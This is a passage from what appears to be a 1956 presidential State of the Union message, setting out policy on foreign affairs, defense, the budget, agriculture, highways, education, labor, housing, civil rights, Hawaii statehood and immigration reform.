Fair Labor Standards Act\nto additional groups not now covered, and occupational safety legislation;\nand legislation for construction of an atomic-powered exhibit vessel.Many new items of business likewise require our attention-measures that\nwill further promote the release of the energies of our people; that will\nbroaden opportunity for all of them; that will advance the Republic in its\nleadership toward a just peace; measures, in short, that are essential to\nthe building of an everstronger, ever-better America.Every political and economic guide supports a valid confidence that wise\neffort will be rewarded by an even more plentiful harvest of human benefit\nthan we now enjoy. Our resources are too many, our principles too dynamic,\nour purposes too worthy and the issues at stake too immense for us to\nentertain doubt or fear. But our responsibilities require that we approach\nthis year's business with a sober humility.A heedless pride in our present strength and position would blind us to the\nfacts of the past, to the pitfalls of the future. We must walk ever in the\nknowledge that we are enriched by a heritage earned in the labor and\nsacrifice of our forebears; that, for our children's children, we are\ntrustees of a great Republic and a time-tested political system; that we\nprosper as a cooperating member of the family of nations.In this light the Administration has continued work on its program for the\nRepublic, begun three years ago. Because the vast spread of national and\nhuman interests is involved within it, I shall not in this Message attempt\nits detailed delineation. Instead, from time to time during this Session,\nthere will be submitted to the Congress specific recommendations within\nspecific fields. In the comprehensive survey required for their\npreparation, the Administration is guided by enduring objectives. The first\nis:THE DISCHARGE OF OUR WORLD RESPONSIBILITYOur world policy and our actions are dedicated to the achievement of peace\nwith justice for all nations.With this purpose, we move in a wide variety of ways and through many\nagencies to remove the pall of fear; to strengthen the ties with our\npartners and to improve the cooperative cohesion of the free world; to\nreduce the burden of armaments, and to stimulate and inspire action among\nall nations for a world of justice and prosperity and peace. These national\nobjectives are fully supported by both our political parties.In the past year, our search for a more stable and just peace has taken\nvaried forms. Among the most important were the two Conferences at Geneva,\nin July and in the fall of last year. We explored the possibilities of\nagreement on critical issues that jeopardize the peace.The July meeting of Heads of Government held out promise to the world of\nmoderation in the bitterness, of word and action, which tends to generate\nconflict and war. All were in agreement that a nuclear war would be an\nintolerable disaster which must not be permitted to occur. But in October,\nwhen the Foreign Ministers met again, the results demonstrated conclusively\nthat the Soviet leaders are not yet willing to create the indispensable\nconditions for a secure and lasting peace.Nevertheless, it is clear that the conflict between international communism\nand freedom has taken on a new complexion.We know the Communist leaders have often practiced the tactics of retreat\nand zigzag. We know that Soviet and Chinese communism still poses a serious\nthreat to the free world. And in the Middle East recent Soviet moves are\nhardly compatible with the reduction of international tension.Yet Communist tactics against the free nations have shifted in emphasis\nfrom reliance on violence and the threat of violence to reliance on\ndivision, enticement and duplicity. We must be well prepared to meet the\ncurrent tactics which pose a dangerous though less obvious threat. At the\nsame time, our policy must be dynamic as well as flexible, designed\nprimarily to forward the achievement of our own objectives rather than to\nmeet each shift and change on the Communist front. We must act in the firm\nassurance that the fruits of freedom are more attractive and desirable to\nmankind in the pursuit of happiness than the record of Communism.In the face of Communist military power, we must, of course, continue to\nmaintain an effective system of collective security. This involves two\nthings--a system which gives clear warning that armed aggression will be\nmet by joint action of the free nations, and deterrent military power to\nmake that warning effective. Moreover, the awesome power of the atom must\nbe made to serve as a guardian of the free community and of the peace.In the last year, the free world has seen major gains for the system of\ncollective security: the accession to the North Atlantic Treaty\nOrganization and Western European Union of the sovereign Federal German\nRepublic; the developing cooperation under the Southeast Asia Collective\nDefense Treaty; and the formation in the Middle East of the Baghdad Pact\namong Turkey, Iraq, Iran, Pakistan and the United Kingdom. In our own\nhemisphere, the inter-American system has continued to show its vitality in\nmaintaining peace and a common approach to world problems. We now have\nsecurity pacts with more than 40 other nations.In the pursuit of our national purposes, we have been steadfast in our\nsupport of the United Nations, now entering its second decade with a wider\nmembership and ever-increasing influence and usefulness. In the release of\nour fifteen fliers from Communist China, an essential prelude was the world\nopinion mobilized by the General Assembly, which condemned their\nimprisonment and demanded their liberation. The successful Atomic Energy\nConference held in Geneva under United Nations auspices and our Atoms for\nPeace program have been practical steps toward the world-wide use of this\nnew energy source. Our sponsorship of such use has benefited our relations\nwith other countries. Active negotiations are now in progress to create an\nInternational Agency to foster peaceful uses of atomic energy.During the past year the crucial problem of disarmament has moved to the\nforefront of practical political endeavor. At Geneva, I declared the\nreadiness of the United States to exchange blueprints of the military\nestablishments of our nation and the USSR, to be confirmed by reciprocal\naerial reconnaissance. By this means, I felt mutual suspicions could be\nallayed and an atmosphere developed in which negotiations looking toward\nlimitation of arms would have improved chances of success.In the United Nations Subcommittee on Disarmament last fall, this proposal\nwas explored and the United States also declared itself willing to include\nreciprocal ground inspection of key points. By the overwhelming vote of 56\nto 7, the United Nations on December 16 endorsed these proposals and gave\nthem a top priority. Thereby, the issue is placed squarely before the bar\nof world opinion. We shall persevere in seeking a general reduction of\narmaments under effective inspection and control which are essential\nsafeguards to ensure reciprocity and protect the security of all.In the coming year much remains to be done.While maintaining our military deterrent, we must intensify our efforts to\nachieve a just peace. In Asia we shall continue to give help to nations\nstruggling to maintain their freedom against the threat of Communist\ncoercion or subversion. In Europe we shall endeavor to increase not only\nthe military strength of the North Atlantic Alliance but also its political\ncohesion and unity of purpose. We shall give such assistance as is feasible\nto the recently renewed effort of Western European nations to achieve a\ngreater measure of integration, such as in the field of peaceful uses of\natomic energy.In the Near East we shall spare no effort in seeking to promote a fair\nsolution of the tragic dispute between the Arab States and Israel, all of\nwhom we want as our friends. The United States is ready to do its part to\nassure enduring peace in that area. We hope that both sides will make the\ncontributions necessary to achieve that purpose. In Latin America, we shall\ncontinue to cooperate vigorously in trade and other measures designed to\nassist economic progress in the area.Strong economic ties are an essential element in our free world\npartnership. Increasing trade and investment help all of us prosper\ntogether. Gratifying progress has been made in this direction, most\nrecently by the three-year extension of our trade agreements legislation.I most earnestly request that the Congress approve our membership in the\nOrganization for Trade Cooperation, which would assist the carrying out of\nthe General Agreement on Tariffs and Trade to which we have been a party\nsince 1948. Our membership in the OTC will provide the most effective and\nexpeditious means for removing discriminations and restrictions against\nAmerican exports and in making our trade agreements truly reciprocal.\nUnited States membership in the Organization will evidence our continuing\ndesire to cooperate in promoting an expanded trade among the free nations.\nThus the Organization, as proposed, is admirably suited to our own\ninterests and to those of like-minded nations in working for steady\nexpansion of trade and closer economic cooperation. Being strictly an\nadministrative entity, the Organization for Trade Cooperation cannot, of\ncourse, alter the control by Congress of the tariff, import, and customs\npolicies of the United States.We need to encourage investment overseas by avoiding unfair tax\nduplications, and to foster foreign trade by further simplification and\nimprovement of our customs legislation.We must sustain and fortify our Mutual Security Program. Because the\nconditions of poverty and unrest in less developed areas make their people\na special target of international communism, there is a need to help them\nachieve the economic growth and stability necessary to preserve their\nindependence against communist threats and enticements.In order that our friends may better achieve the greater strength that is\nour common goal, they need assurance of continuity in economic assistance\nfor development projects and programs which we approve and which require a\nperiod of years for planning and completion. Accordingly, I ask Congress to\ngrant limited authority to make longer-term commitments for assistance to\nsuch projects, to be fulfilled from appropriations to be made in future\nfiscal years.These various steps will powerfully strengthen the economic foundation of\nour foreign policy. Together with constructive action abroad, they will\nmaintain the present momentum toward general economic progress and vitality\nof the free world.In all things, change is the inexorable law of life. In much of the world\nthe ferment of change is working strongly; but grave injustices are still\nuncorrected. We must not, by any sanction of ours, help to perpetuate these\nwrongs. I have particularly in mind the oppressive division of the German\npeople, the bondage of millions elsewhere, and the exclusion of Japan from\nUnited Nations membership.We shall keep these injustices in the forefront of human consciousness and\nseek to maintain the pressure of world opinion to fight these vast wrongs\nin the interest both of justice and secure peace.Injustice thrives on ignorance. Because an understanding of the truth about\nAmerica is one of our most powerful forces, I am recommending a substantial\nincrease in budgetary support of the United States Information Agency.The sum of our international effort should be this: the waging of peace,\nwith as much resourcefulness, with as great a sense of dedication and\nurgency, as we have ever mustered in defense of our country in time of war.\nIn this effort, our weapon is not force. Our weapons are the principles and\nideas embodied in our historic traditions, applied with the same vigor that\nin the past made America a living promise of freedom for all mankind.To accomplish these vital tasks, all of us should be concerned with the\nstrength, effectiveness and morale .of our State Department and our Foreign\nService.Another guide in the preparation of the Administration's program is:THE CONSTANT IMPROVEMENT OF OUR NATIONAL SECURITYBecause peace is the keystone of our national policy, our defense program\nemphasizes an effective flexible type of power calculated to deter or\nrepulse any aggression and to preserve the peace. Short of war, we have\nnever had military strength better adapted to our needs with improved\nreadiness for emergency use. The maintenance of this strong military\ncapability for the indefinite future will continue to call for a large\nshare of our national budget. Our military programs must meet the needs of\ntoday. To build less would expose the nation to aggression. To build\nexcessively, under the influence of fear, could defeat our purposes and\nimpair or destroy the very freedom and economic system our military\ndefenses are designed to protect.We have improved the effectiveness and combat readiness of our forces by\ndeveloping and making operational new weapons and by integrating the latest\nscientific developments, including new atomic weapons, into our military\nplans. We continue to push the production of the most modern military\naircraft. The development of long-range missiles has been on an accelerated\nbasis for some time. We are moving as rapidly as practicable toward\nnuclear-powered aircraft and ships. Combat capability, especially in terms\nof firepower, has been substantially increased. We have made the\nadjustments in personnel permitted by the cessation of the Korean War, the\nbuildup of our allies and the introduction of new weapons. The services are\nall planning realistically on a long-term basis.To strengthen our continental defenses the United States and Canada, in the\nclosest cooperation, have substantially augmented early warning networks.\nGreat progress is being made in extending surveillance of the Arctic, the\nAtlantic and the Pacific approaches to North America.In the last analysis our real strength lies in the caliber of the men and\nwomen in our Armed Forces, active and Reserve. Much has been done to\nattract and hold capable military personnel, but more needs to be done.\nThis year, I renew my request of last year for legislation to provide\nproper medical care for military dependents and a more equitable survivors'\nbenefit program. The Administration will prepare additional recommendations\ndesigned to achieve the same objectives, including career incentives for\nmedical and dental officers and nurses, and increases in the proportion of\nregular officers.Closely related to the mission of the Defense Department is the task of the\nFederal Civil Defense Administration. A particular point of relationship\narises from the fact that the key to civil defense is the expanded\ncontinental defense program, including the distant early warning system.\nOur Federal civil defense authorities have made progress in their program,\nand now comprehensive studies are being conducted jointly by the Federal\nCivil Defense Administration, the States, and critical target cities to\ndetermine the best procedures that can be adopted in case of an atomic\nattack. We must strengthen Federal assistance to the States and cities in\ndevising the most effective common defense.We have a broad and diversified mobilization base. We have the facilities,\nmaterials, skills and knowledge rapidly to expand the production of things\nwe need for our defense whenever they are required. But mobilization base\nrequirements change with changing technology and strategy. We must maintain\nflexibility to meet new requirements. I am requesting, therefore, that the\nCongress once again extend the Defense Production Act.Of great importance to our nation's security is a continuing alertness to\ninternal subversive activity within or without our government. This\nAdministration will not relax its efforts to deal forthrightly and\nvigorously in protection of this government and its citizens against\nsubversion, at the same time fully protecting the constitutional rights of\nall citizens.A third objective of the Administration is:FISCAL INTEGRITYA public office is, indeed, a public trust. None of its aspects is more\ndemanding than the proper management of the public finances. I refer now\nnot only to the indispensable virtues of plain honesty and trustworthiness\nbut also to the prudent, effective and conscientious use of tax money. I\nrefer also to the attitude of mind that makes efficient and economical\nservice to the people a watchword in our government.Over the long term, a balanced budget is a sure index to thrifty\nmanagement--in a home, in a business or in the Federal Government. When\nachievement of a balanced budget is for long put off in a business or home,\nbankruptcy is the result. But in similar circumstances a government resorts\nto inflation of the money supply. This inevitably results in depreciation\nof the value of the money, and an increase in the cost of living. Every\ninvestment in personal security is threatened by this process of inflation,\nand the real values of the people's savings, whether in the form of\ninsurance, bonds, pension and retirement funds or savings accounts are\nthereby shriveled.We have made long strides these past three years in bringing our Federal\nfinances under control. The deficit for fiscal year 1953 was almost 9-1/2\nbillion dollars. Larger deficits seemed certain--deficits which would have\ndepreciated the value of the dollar and pushed the cost of living still\nhigher. But government waste and extravagance were searched out.\nNonessential activities were dropped. Government expenses were carefully\nscrutinized. Total spending was cut by 14 billion dollars below the amount\nplanned by the previous Administration for the fiscal year 1954.This made possible--and it was appropriate in the existing circumstances of\ntransition to a peacetime economy--the largest tax cut in any year in our\nhistory. Almost 7-1/2 billion dollars were released and every taxpayer in\nthe country benefited. Almost two-thirds of the savings went directly to\nindividuals. This tax cut also helped to build up the economy, to make jobs\nin industry and to increase the production .of the many things desired to\nimprove the scale of living for the great majority of Americans.The strong expansion of the economy, coupled with a constant care for\nefficiency in government operations and an alert guard against waste and\nduplication, has brought us to a prospective balance between income and\nexpenditure. This is being done while we continue to strengthen our\nmilitary security.I expect the budget to be in balance during the fiscal year ending June 30,\n1956.I shall propose a balanced budget for the next fiscal year ending June 30,\n1957.But the balance we are seeking cannot be accomplished without the\ncontinuing every-day effort of the Executive and Legislative Branches to\nkeep expenditures under control. It will also be necessary to continue all\nof the present excise taxes without any reduction and the corporation\nincome taxes at their present rates for another year beyond next April\n1st.It is unquestionably true that our present tax level is very burdensome\nand, in the interest of long term and continuous economic growth, should be\nreduced when we prudently can. It is essential, in the sound management of\nthe Government's finances, that we be mindful of our enormous national debt\nand of the obligation we have toward future Americans to reduce that debt\nwhenever we can appropriately do so. Under conditions of high peacetime\nprosperity, such as now exist, we can never justify going further into debt\nto give ourselves a tax cut at the expense of our children. So, in the\npresent state of our financial affairs, I earnestly believe that a tax cut\ncan be deemed justifiable only when it will not unbalance the budget, a\nbudget which makes provision for some reduction, even though modest, in our\nnational debt. In this way we can best maintain fiscal integrity.A fourth aim of our program is:TO FOSTER A STRONG ECONOMYOur competitive enterprise system depends on the energy of free human\nbeings, limited by prudent restraints in law, using free markets to plan,\norganize and distribute production, and spurred by the prospect of reward\nfor successful effort. This system has developed our resources. It has\nmarvelously expanded our productive capacity. Against the record of all\nother economic systems devised through the ages, this competitive system\nhas proved the most creative user of human skills in the development of\nphysical resources, and the richest rewarder of human effort.This is still true in this era when improved living standards and rising\nnational requirements are accompanied by swift advances in technology and\nrapid obsolescence in machines and methods. Typical of these are the\nstrides made in construction of plants to produce electrical energy from\natomic power and of laboratories and installations for the application of\nthis new force in industry, agriculture and the healing arts. These\ndevelopments make it imperative--to assure effective functioning of our\nenterprise system--that the Federal Government concern itself with certain\nbroad areas of our economic life. Most important of these is:AgricultureOur farm people are not sharing as they should in the general prosperity.\nThey alone of all major groups have seen their incomes decline rather than\nrise. They are caught between two millstones--rising production costs and\ndeclining prices. Such harm to a part of the national economy so vitally\nimportant to everyone is of great concern to us all. No other resource is\nso indispensable as the land that feeds and clothes us. No group is more\nfundamental to our national life than our farmers.In successful prosecution of the war, the nation called for the utmost\neffort of its farmers. Their response was superb, their contribution\nunsurpassed. Farmers are not now to be blamed for the mountainous,\nprice-depressing surpluses produced in response to wartime policies and\nlaws that were too long continued. War markets are not the markets of\npeacetime. Failure to recognize that basic fact by a timely adjustment of\nwartime legislation brought its inevitable result in peacetime--surpluses,\nlower prices and lower incomes for our farmers.The dimensions of government responsibility are as broad and complex as the\nfarm problem itself. We are here concerned not only with our essential\ncontinuing supplies of food and fiber, but also with a way of life. Both\nare indispensable to the well-being and strength of the nation.\nConsideration of these matters must be above and beyond politics. Our\nnational farm policy, so vital to the welfare of farm people and all of us,\nmust not become a field for political warfare. Too much is at stake.Our farm people expect of us, who have responsibility for their government,\nunderstanding of their problems and the will to help solve them. Our\nobjective must be to help bring production into balance with existing and\nnew markets, at prices that yield farmers a return for their work in line\nwith what other Americans get.To reach this goal, deep-seated problems must be subjected to a stepped-up\nattack. There is no single easy solution. Rather, there must be a\nmany-sided assault on the stubborn problems of surpluses, prices, costs,\nand markets; and a steady, persistent, imaginative advance in the\nrelationship between farmers and their government.In a few days, by special message, I shall lay before the Congress my\ndetailed recommendations for new steps that should be taken promptly to\nspeed the transition in agriculture and thus assist our farmers to achieve\ntheir fair share of the national income.Basic to this program will be a new attack on the surplus problem-for even\nthe best-conceived farm program cannot work under a multi-billion dollar\nweight of accumulated stocks.I shall urge authorization of a soil bank program to alleviate the problem\nof diverted acres and an overexpanded agricultural plant. This will include\nan acreage reserve to reduce current and accumulated surpluses of crops in\nmost serious difficulty, and a conservation reserve to achieve other needed\nadjustments in the use of agricultural resources. I shall urge measures to\nstrengthen our surplus disposal activities.I shall propose measures to strengthen individual commodity programs, to\nremove controls where possible, to reduce carryovers, and to stop further\naccumulations of surpluses. I shall ask the Congress to provide substantial\nnew funds for an expanded drive on the research front, to develop new\nmarkets, new crops, and new uses. The Rural Development Program to better\nthe lot of low-income farm families deserves full Congressional support.\nThe Great Plains Program must go forward vigorously. Advances on these and\nother fronts will pull down the pricedepressing surpluses and raise farm\nincome.In this time of testing in agriculture, we should all together, regardless\nof party, carry forward resolutely with a sound and forward looking program\non which farm people may confidently depend, now and for years to come.I shall briefly mention four other subjects directly related to the\nwell-being of the economy, preliminary to their fuller discussion in the\nEconomic Report and later communications.Resources ConservationI wish to re-emphasize the critical importance of the wise use and\nconservation of our great natural resources of land, forests, minerals and\nwater and their long-range development consistent with our agricultural\npolicy. Water in particular now plays an increasing role in industrial\nprocesses, in the irrigation of land, in electric power, as well as in\ndomestic uses. At the same time, it has the potential of damage and\ndisaster.A comprehensive legislative program for water conservation will be\nsubmitted to the Congress during the Session. The development of our water\nresources cannot be accomplished overnight. The need is such that we must\nmake faster progress and without delay. Therefore, I strongly recommend\nthat action be taken at this Session on such wholly Federal projects as the\nColorado River Storage Project and the Fryingpan-Arkansas Project; on the\nJohn Day partnership project, and other projects which provide for\ncooperative action between the Federal Government and non-Federal\ninterests; and on legislation, which makes provision for Federal\nparticipation in small projects under the primary sponsorship of agencies\nof State and local government.During the past year the areas of our National Parks have been expanded,\nand new wildlife refuges have been created. The visits of our people to the\nParks have increased much more rapidly than have the facilities to care for\nthem. The Administration will submit recommendations to provide more\nadequate facilities to keep abreast of the increasing interest of our\npeople in the great outdoors.Disaster AssistanceA modern community is a complex combination of skills, specialized\nbuildings, machines, communications and homes. Most importantly, it\ninvolves human lives. Disaster in many forms--by flood, frost, high winds,\nfor instance--can destroy on a massive scale in a few hours the labor of\nmany years.Through the past three years the Administration has repeatedly moved into\naction wherever disaster struck. The extent of State participation in\nrelief activities, however, has been far from uniform and, in many cases,\nhas been either inadequate or nonexistent. Disaster assistance legislation\nrequires overhauling and an experimental program of flood-damage\nindemnities should be undertaken. The Administration will make detailed\nrecommendations on these subjects.Area RedevelopmentWe must help deal with the pockets of chronic unemployment that here and\nthere mar the nation's general industrial prosperity. Economic changes in\nrecent years have been often so rapid and far-reaching that areas committed\nto a single local resource or industrial activity have found themselves\ntemporarily deprived of their markets and their livelihood.Such conditions mean severe hardship for thousands of people as the slow\nprocess of adaptation to new circumstances goes on. This process can be\nspeeded up. Last year I authorized a major study of the problem to find\nadditional steps to supplement existing programs for the redevelopment of\nareas of chronic unemployment. Recommendations will be submitted, designed\nto supplement, with Federal technical and loan assistance local efforts to\nget on with this vital job. Improving such communities must, of course,\nremain the primary responsibility of the people living there and of their\nStates. But a soundly conceived Federal partnership program can be of real\nassistance to them in their efforts.Highway Legislation.Legislation to provide a modern, interstate highway system is even more\nurgent this year than last, for 12 months have now passed in which we have\nfallen further behind in road construction needed for the personal safety,\nthe general prosperity, the national security of the American people.\nDuring the year, the number of motor vehicles has increased from 58 to 61\nmillion. During the past year over 38,000 persons lost their lives in\nhighway accidents, while the fearful toll of injuries and property damage\nhas gone on unabated.In my message of February 22, 1955, I urged that measures be taken to\ncomplete the vital 40,000 mile interstate system over a period of 10 years\nat an estimated Federal cost of approximately 25 billion dollars. No\nprogram was adopted.If we are ever to solve our mounting traffic problem, the whole interstate\nsystem must be authorized as one project, to be completed approximately\nwithin the specified time. Only in this way can industry efficiently gear\nitself to the job ahead. Only in this way can the required planning and\nengineering be accomplished without the confusion and waste unavoidable a\npiecemeal approach. Furthermore, as I pointed out last year, the pressing\nnature of this problem must not lead us to solutions outside the bounds of\nsound fiscal management. As in the case of other pressing problems, there\nmust be an adequate plan of financing. To continue the drastically needed\nimprovement in other national highway systems, I recommend the continuation\nof the Federal Aid Highway Program.Aside from agriculture and the four subjects specifically mentioned, an\nintegral part of our efforts to foster a strong and expanding free economy\nis keeping open the door of opportunity to new and small enterprises,\nchecking monopoly, and preserving a competitive environment. In this past\nyear the steady improvement in the economic health of small business has\nreinforced the vitality of our competitive economy. We shall continue to\nhelp small business concerns to obtain access to adequate financing and to\ncompetent counsel on management, production, and marketing problems.Through measures already taken, opportunities for smallbusiness\nparticipation in government procurement programs, including military\nprocurement, are greatly improved. The effectiveness of these measures will\nbecome increasingly apparent. We shall continue to make certain that small\nbusiness has a fair opportunity to compete and has an economic environment\nin which it may prosper.In my message last year I referred to the appointment of an advisory\ncommittee to appraise and report to me on the deficiencies as well as the\neffectiveness of existing Federal transportation policies. I have commended\nthe fundamental purposes and objectives of the committee's report. I\nearnestly recommend that the Congress give prompt attention to the\ncommittee's proposals.Essential to a prosperous economic environment for all business, small and\nlarge--for agriculture and industry and commerce-is efficiency in\nGovernment. To that end, exhaustive studies of the entire governmental\nstructure were made by the Commission on Intergovernmental Relations and\nthe Commission on the Organization of the Executive Branch of the\nGovernment--the reports of these Commissions are now under intensive review\nand already in the process of implementation in important areas.One specific and most vital governmental function merits study and action\nby the Congress. As part of our program of promoting efficiency in\nGovernment and getting the fiscal situation in hand, the Post Office\nDepartment in the past three years has been overhauled. Nearly one thousand\nnew post offices have been provided. Financial practices have been\nmodernized, and transportation and operating methods are being constantly\nimproved. A new wage and incentive plan for the half million postal\nemployees has been established. Never before has the postal system handled\nso much mail so quickly and so economically.The Post Office Department faces two serious problems. First, much of its\nphysical plant--post offices and other buildings-is obsolete and\ninadequate. Many new buildings and the modernization of present ones are\nessential if we are to have improved mail service. The second problem is\nthe Department's fiscal plight. It now faces an annual deficit of one-half\nbillion dollars.Recommendations on postal facilities and on additional postal revenues will\nbe submitted to the Congress.A final consideration in our program planning is:THE RESPONSE TO HUMAN CONCERNSA fundamental belief shines forth in this Republic. We believe in the worth\nand dignity of the individual. We know that if we are to govern ourselves\nwisely--in the tradition of America--we must have the opportunity to\ndevelop our individual capacities to the utmost.To fulfill the individual's aspirations in the American way of life, good\neducation is fundamental. Good education is the outgrowth of good homes,\ngood communities, good churches, and good schools. Today our schools face\npressing problems--problems which will not yield to swift and easy\nsolutions, or to any single action. They will yield only to a continuing,\nactive, formed effort by the people toward achieving better schools.This kind of effort has been spurred by the thousands of conferences held\nin recent months by half a million citizens and educators in all parts of\nthe country, culminating in the White House Conference on Education. In\nthat Conference, some two thousand delegates, broadly representative of the\nnation, studied together the problems of the nation's schools.They concluded that the people of the United States must make a greater\neffort through their local, State, and Federal Governments to improve the\neducation of our youth. This expression from the people must now be\ntranslated into action at all levels of government.So far as the Federal share of responsibility is concerned, I urge that the\nCongress move promptly to enact an effective program of Federal assistance\nto help erase the existing deficit of school classrooms. Such a program,\nwhich should be limited to a five-year period, must operate to increase\nrather than decrease local and State support of schools and to give the\ngreatest help to the States and localities with the least financial\nresources. Federal aid should in no way jeopardize the freedom of local\nschool systems. There will be presented to the Congress a recommended\nprogram of Federal assistance for school construction.Such a program should be accompanied by action to increase services to the\nnation's schools by the Office of Education and by legislation to provide\ncontinuation of payments to school districts where Federal activities have\nimpaired the ability of those districts to provide adequate schools.Under the 1954 Amendments to the old-age and survivors' insurance program,\nprotection was extended to some 10 million additional workers and benefits\nwere increased. The system now helps protect 9 out of 10 American workers\nand their families against loss of income in old age or on the death of the\nbreadwinner. The system is sound. It must be kept so. In developing\nimprovements in the system, we must give the most careful consideration to\npopulation and social trends, and to fiscal requirements. With these\nconsiderations in mind, the Administration will present its recommendations\nfor further expansion of coverage and other steps which can be taken wisely\nat this time.Other needs in the area of social welfare include increased child welfare\nservices, extension of the program of aid to dependent children,\nintensified attack on juvenile delinquency, and special attention to the\nproblems of mentally retarded children. The training of more skilled\nworkers for these fields and the quest for new knowledge through research\nin social welfare are essential. Similarly the problems of our aged people\nneed our attention.The nation has made dramatic progress in conquering disease--progress of\nprofound human significance which can be greatly accelerated by an\nintensified effort in medical research. A well-supported, well-balanced\nprogram of research, including basic research, can open new frontiers of\nknowledge, prevent and relieve suffering, and prolong life. Accordingly I\nshall recommend a substantial increase in Federal funds for the support of\nsuch a program. As an integral part of this effort, I shall recommend a new\nplan to aid construction of non-Federal medical research and teaching\nfacilities and to help provide more adequate support for the training of\nmedical research manpower.Finally, we must aid in cushioning the heavy and rising costs of illness\nand hospitalization to individuals and families. Provision should be made,\nby Federal reinsurance or otherwise, to foster extension of voluntary\nhealth insurance coverage to many more persons, especially older persons\nand those in rural areas. Plans should be evolved to improve protection\nagainst the costs of prolonged or severe illness. These measures will help\nreduce the dollar barrier between many Americans and the benefits of modern\nmedical care.The Administration health program will be submitted to the Congress in\ndetail.The response of government to human concerns embraces, of course, other\nmeasures of broad public interest, and of special interest to our working\nmen and women. The need still exists for improvement of the Labor\nManagement Relations Act. The recommendations I submitted to the Congress\nlast year take into account not only the interests of labor and management\nbut also the public welfare. The needed amendments should be enacted\nwithout further delay.We must also carry forward the job of improving the wagehour law. Last year\nI requested the Congress to broaden the coverage of the minimum wage. I\nrepeat that recommendation, and I pledge the full resources of the\nExecutive Branch to assist the Congress in finding ways to attain this\ngoal. Moreover, as requested last year, legislation should be passed to\nclarify and strengthen the eight-hour laws for the benefit of workers who\nare subject to Federal wage standards on Federal and Federally assisted\nconstruction and other public works.The Administration will shortly propose legislation to assure adequate\ndisclosure of the financial affairs of each employee pension and welfare\nplan and to afford substantial protection to their beneficiaries in\naccordance with the objectives outlined in my message of January 11, 1954.\nOccupational safety still demands attention, as I pointed out last year,\nand legislation to improve the Longshoremen's and Harbor Workers'\nCompensation Act is still needed. The improvement of the District of\nColumbia Unemployment Insurance Law and legislation to provide employees in\nthe District with non-occupational disability insurance are no less\nnecessary now than 12 months ago. Legislation to apply the principle of\nequal pay for equal work without discrimination because of sex is a matter\nof simple justice. I earnestly urge the Congress to move swiftly to\nimplement these needed labor measures.In the field of human needs, we must carry forward the housing program,\nwhich is contributing so greatly to the well-being of our people and the\nprosperity of our economy. Home ownership is now advanced to the point\nwhere almost three of every five families in our cities, towns, and suburbs\nown the houses they live in.For the housing program, most of the legislative authority already exists.\nHowever, a firm program of public housing is essential until the private\nbuilding industry has found ways to provide more adequate housing for\nlow-income families. The Administration will propose authority to contract\nfor 35 thousand additional public housing units in each of the next 2\nfiscal years for communities which will participate in an integrated attack\non slums and blight.To meet the needs of the growing number of older people, several amendments\nto the National Housing Act will be proposed to assist the private\nhomebuilding industry as well as charitable and non-profit organizations.With so large a number of the American people desiring to modernize and\nimprove existing dwellings, I recommend that the Title 1 program for\npermanent improvements in the home be liberalized.I recommend increases in the general FHA mortgage insurance authority; the\nextension of the FHA military housing program; an increase in the\nauthorization for Urban Planning grants; in the special assistance\nauthority of the Federal National Mortgage Association; and continued\nsupport of the college housing program in a way that will not discourage\nprivate capital from helping to meet the needs of our colleges.The legislation I have recommended for workers in private industry should\nbe accompanied by a parallel effort for the welfare of Government\nemployees. We have accomplished much in this field, including a\ncontributory life insurance program; equitable pay increases and a fringe\nbenefits program, covering many needed personnel policy changes, from\nimproved premium pay to a meaningful incentive award program.Additional personnel management legislation is needed in this Session. As I\nstated last year, an executive pay increase is essential to efficient\ngovernmental management. Such an increase, together with needed adjustments\nin the pay for the top career positions, is also necessary to the equitable\ncompletion of the Federal pay program initiated last year. Other\nlegislation will be proposed, including legislation for prepaid group\nhealth insurance for employees and their dependents and to effect major\nimprovements in the Civil Service retirement system.All of us share a continuing concern for those who have served this nation\nin the Armed Forces. The Commission on Veterans Pensions is at this time\nconducting a study of the entire field of veterans' benefits and will soon\nsubmit proposed improvements.We are proud of the progress our people have made in the field of civil\nrights. In Executive Branch operations throughout the nation, elimination\nof discrimination and segregation is all but completed. Progress is also\nbeing made among contractors engaged in furnishing Government services and\nrequirements. Every citizen now has the opportunity to fit himself for and\nto hold a position of responsibility in the service of his country. In the\nDistrict of Columbia, through the voluntary cooperation of the people,\ndiscrimination and segregation are disappearing from hotels, theaters,\nrestaurants and other facilities.It is disturbing that in some localities allegations persist that Negro\ncitizens are being deprived of their right to vote and are likewise being\nsubjected to unwarranted economic pressures. I recommend that the substance\nof these charges be thoroughly examined by a Bipartisan Commission created\nby the Congress. It is hoped that such a commission will be established\npromptly so that it may arrive at findings which can receive early\nconsideration.The stature of our leadership in the free world has increased through the\npast three years because we have made more progress than ever before in a\nsimilar period to assure our citizens equality in justice, in opportunity\nand in civil rights. We must expand this effort on every front. We must\nstrive to have every person judged and measured by what he is, rather than\nby his color, race or religion. There will soon be recommended to the\nCongress a program further to advance the efforts of the Government, within\nthe area of Federal responsibility, to accomplish these objectives.One particular challenge confronts us. In the Hawaiian Islands, East meets\nWest. To the Islands, Asia and Europe and the Western Hemisphere, all the\ncontinents, have contributed their peoples and their cultures to display a\nunique example of a community that is a successful laboratory in human\nbrotherhood.Statehood, supported by the repeatedly expressed desire of the Islands'\npeople and by our traditions, would be a shining example of the American\nway to the entire earth. Consequently, I urgently request this Congress to\ngrant statehood for Hawaii. Also, in harmony with the provisions I last\nyear communicated to the Senate and House Committees on Interior and\nInsular Affairs, I trust that progress toward statehood for Alaska can be\nmade in this Session.Progress is constant toward full integration of our Indian citizens into\nnormal community life. During the past two years the Administration has\nprovided school facilities for thousands of Indian children previously\ndenied this opportunity. We must continue to meet the needs of increased\nnumbers of Indian children. Provision should also be made for the education\nof adult Indians whose schooling in earlier years was neglected.In keeping with our responsibility of world leadership and in our own self\ninterest, I again point out to the Congress the urgent need for revision of\nthe immigration and nationality laws. Our nation has always welcomed\nimmigrants to our shores. The wisdom of such a policy is clearly shown by\nthe fact that America has been built by immigrants and the descendants of\nimmigrants. That policy must be continued realistically with present day\nconditions in mind.I recommend that the number of persons admitted to this country annually be\nbased not on the 1920 census but on the latest, the 1950 census. Provision\nshould be made to allow for greater flexibility in the use of quotas so if\none country does not use its share, the vacancies may be made available for\nthe use of qualified individuals from other countries.The law should be amended to permit the Secretary of State and the Attorney\nGeneral to waive the requirements of fingerprinting on a reciprocal basis\nfor persons coming to this country for temporary visits. This and other\nchanges in the law are long overdue and should be taken care of promptly.\nDetailed recommendations for revision of the immigration laws will be\nsubmitted to the Congress.I am happy to report substantial progress in the flow of immigrants under\nthe Refugee Relief Act of 1953; however, I again request this Congress to\napprove without further delay the urgently needed amendments to that 